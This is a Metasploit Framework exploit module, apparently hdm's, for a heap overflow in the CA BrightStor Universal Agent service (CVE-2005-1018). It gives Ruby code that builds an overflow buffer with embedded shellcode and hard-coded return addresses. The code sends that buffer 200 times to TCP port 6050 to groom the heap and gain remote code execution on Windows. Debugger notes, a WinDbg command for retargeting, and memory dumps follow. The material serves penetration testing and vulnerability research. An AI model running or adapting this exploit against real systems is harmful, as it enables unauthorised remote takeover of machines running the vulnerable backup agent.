CA BrightStor Universal Agent Overflow

`##  
# $Id$  
##  
  
##  
# This file is part of the Metasploit Framework and may be subject to   
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
  
require 'msf/core'  
  
  
class Metasploit3 < Msf::Exploit::Remote  
  
include Msf::Exploit::Remote::Tcp  
  
def initialize(info = {})  
super(update_info(info,   
'Name' => 'CA BrightStor Universal Agent Overflow',  
'Description' => %q{  
This module exploits a convoluted heap overflow in the CA  
BrightStor Universal Agent service. Triple userland  
exception results in heap growth and execution of  
dereferenced function pointer at a specified address.  
  
},  
'Author' => [ 'hdm' ],  
'License' => MSF_LICENSE,  
'Version' => '$Revision$',  
'References' =>  
[  
[ 'CVE', '2005-1018'],  
[ 'OSVDB', '15471' ],  
[ 'BID', '13102'],  
[ 'URL', 'http://www.idefense.com/application/poi/display?id=232&type=vulnerabilities'],  
  
],  
'Privileged' => true,  
'Payload' =>  
{  
# 250 bytes of space (bytes 0xa5 -> 0xa8 = reversed)  
'Space' => 164,  
'BadChars' => "\x00",  
'StackAdjustment' => -3500,  
},  
'Targets' =>   
[  
[   
'Magic Heap Target #1',  
{  
'Platform' => 'win',  
'Ret' => 0x01625c44, # We grow to our own return address  
},  
],  
],  
'DisclosureDate' => '',  
'DefaultTarget' => 0))  
  
register_options(  
[  
Opt::RPORT(6050)  
], self.class)   
end  
  
def exploit  
  
print_status("Trying target #{target.name}...")  
  
# The server reverses four bytes starting at offset 0xa5 :0  
  
# Create the overflow string  
boom = 'X' * 1024  
  
# Required field to trigger the fault  
boom[248, 2] = [1000].pack('V')  
  
# The shellcode, limited to 250 bytes (no nulls)  
boom[256, payload.encoded.length] = payload.encoded  
  
# This should point to itself  
boom[576, 4] = [target.ret].pack('V')  
  
# This points to the code below  
boom[580, 4] = [target.ret + 8].pack('V')  
  
# We have 95 bytes, use it to hop back to shellcode  
boom[584, 6] = "\x68" + [target.ret - 320].pack('V') + "\xc3"  
  
# Stick the protocol header in front of our request  
req = "\x00\x00\x00\x00\x03\x20\xa8\x02" + boom  
  
# We keep making new connections and triggering the fault until  
# the heap is grown to encompass our known return address. Once  
# this address has been allocated and filled, each subsequent  
# request will result in our shellcode being executed.  
  
1.upto(200) {|i|   
connect  
print_status("Sending request #{i} of 200...") if (i % 10) == 0  
sock.put(req)  
disconnect  
  
# Give the process time to recover from each exception  
sleep(0.1);  
}  
  
handler  
end  
  
end  
  
  
__END__  
012a0d91 8b8e445c0000 mov ecx,[esi+0x5c44]  
012a0d97 83c404 add esp,0x4  
012a0d9a 85c9 test ecx,ecx  
012a0d9c 7407 jz ntagent+0x20da5 (012a0da5)  
012a0d9e 8b11 mov edx,[ecx] ds:0023:41327441=???????  
012a0da0 6a01 push 0x1  
012a0da2 ff5204 call dword ptr [edx+0x4]  
  
Each request will result in another chunk being allocated, the exception  
causes these chunks to never be freed. The large chunk size allows us to  
predict the location of our buffer and grow our buffer to where we need it.  
  
If these addresses do not match up, run this exploit, then attach with WinDbg:  
  
> s 0 Lfffffff 0x44 0x5c 0x61 0x01  
  
Figure out the pattern, replace the return address, restart the service,  
and run it through again. Only tested on WinXP SP1  
  
011b5c44 48 5c 62 01 4c 5c 62 01-cc cc cc cc cc cc cc cc H\b.L\b.........  
011c5c44 48 5c 62 01 4c 5c 62 01-cc cc cc cc cc cc cc cc H\b.L\b.........  
011d5c44 48 5c 62 01 4c 5c 62 01-cc cc cc cc cc cc cc cc H\b.L\b.........  
011e5c44 48 5c 62 01 4c 5c 62 01-cc cc cc cc cc cc cc cc H\b.L\b.........  
011f5c44 48 5c 62 01 4c 5c 62 01-cc cc cc cc cc cc cc cc H\b.L\b.........  
01205c44 48 5c 62 01 4c 5c 62 01-cc cc cc cc cc cc cc cc H\b.L\b.........  
[ snip ]  
01605c44 48 5c 62 01 4c 5c 62 01-cc cc cc cc cc cc cc cc H\b.L\b.........  
01615c44 48 5c 62 01 4c 5c 62 01-cc cc cc cc cc cc cc cc H\b.L\b.........  
01625c44 48 5c 62 01 4c 5c 62 01-cc cc cc cc cc cc cc cc H\b.L\b.........  
01635c44 48 5c 62 01 4c 5c 62 01-cc cc cc cc cc cc cc cc H\b.L\b.........  
01645c44 48 5c 62 01 4c 5c 62 01-cc cc cc cc cc cc cc cc H\b.L\b.........  
01655c44 48 5c 62 01 4c 5c 62 01-cc cc cc cc cc cc cc cc H\b.L\b.........  
01665c44 48 5c 62 01 4c 5c 62 01-cc cc cc cc cc cc cc cc H\b.L\b.........  
01675c44 48 5c 62 01 4c 5c 62 01-cc cc cc cc cc cc cc cc H\b.L\b.........  
01685c44 48 5c 62 01 4c 5c 62 01-cc cc cc cc cc cc cc cc H\b.L\b.........  
01695c44 48 5c 62 01 4c 5c 62 01-cc cc cc cc cc cc cc cc H\b.L\b.........  
016a5c44 48 5c 62 01 4c 5c 62 01-cc cc cc cc cc cc cc cc H\b.L\b.........  
016b5c44 48 5c 62 01 4c 5c 62 01-cc cc cc cc cc cc cc cc H\b.L\b.........  
016c5c44 48 5c 62 01 4c 5c 62 01-cc cc cc cc cc cc cc cc H\b.L\b.........  
016d5c44 48 5c 62 01 4c 5c 62 01-cc cc cc cc cc cc cc cc H\b.L\b.........  
01725c44 48 5c 62 01 4c 5c 62 01-cc cc cc cc cc cc cc cc H\b.L\b.........  
017e5c44 48 5c 62 01 4c 5c 62 01-cc cc cc cc cc cc cc cc H\b.L\b.........  
`